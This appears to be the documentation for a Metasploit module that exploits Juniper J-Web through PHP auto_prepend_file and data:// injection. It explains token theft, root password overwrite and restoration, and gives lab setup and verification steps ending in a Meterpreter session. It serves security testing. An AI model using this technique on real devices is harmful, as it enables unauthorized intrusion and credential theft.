### Description

The affected Juniper devices run FreeBSD and every FreeBSD process can access their stdin
by opening `/dev/fd/0`. The exploit also makes use of two useful PHP features. The first being
`auto_prepend_file` which causes the provided file to be added using the `require` function. The second PHP
function is `allow_url_include` which allows the use of URL-aware `fopen` wrappers. By enabling
`allow_url_include`, the exploit can use any protocol wrapper with `auto_prepend_file`. The module then uses
`data://` to provide a file inline which includes the base64 encoded PHP payload.

By default this exploit returns a session confined to a FreeBSD jail with limited functionality when using the
`PHP In-Memory target`. When using the `Interactive SSH with jail break` target the module will steal the necessary
tokens from a user authenticated to the J-Web application, in order to overwrite the root password hash. If there is no
user authenticated to the J-Web application the module will create one. The module then authenticates with the new root
password over SSH and then rewrites the original root password hash to /etc/master.passwd.

### Setup

1. Navigate to the following URL: https://www.juniper.net/us/en/dm/download-next-gen-vsrx-firewall-trial.html
1. Setup an account and download the free trail of: `junos-vsrx3-x86-64-20.2R1.10.scsi.ova`
1. Boot
1. Log in as `root` / no password
1. Run `cli`
1. Run `configure`
1. Set password: `set system root-authentication plain-text-password`
1. Set hostname: `set system host-name (host-name)`
1. Set up the management interface: `set interfaces fxp0 unit 0 family inet dhcp-client`
1. Set up the traffic interfaces: `set interfaces ge-0/0/0 unit 0 family inet dhcp-client`
1. Set up security zones: `set security zones security-zone trust interfaces ge-0/0/0.0`
1. Validate the config: `commit check`
   - If you typo'd something, you can `rollback` here and try again
1. Commit: `commit`
1. Exit config, then exit CLI: `exit` then `exit`
1. Reboot: `reboot`
1. Log in with your new account
1. Run `cli` again
1.Get the ip address with `show interfaces terse | match fxp`

## Verification Steps

1. Start msfconsole
1. Do: `use freebsd/http/junos_phprc_auto_prepend_file`
1. Set the `RHOST`, `LHOST`
1. Run the module
1. Receive a Meterpreter session as the `nobody` user.
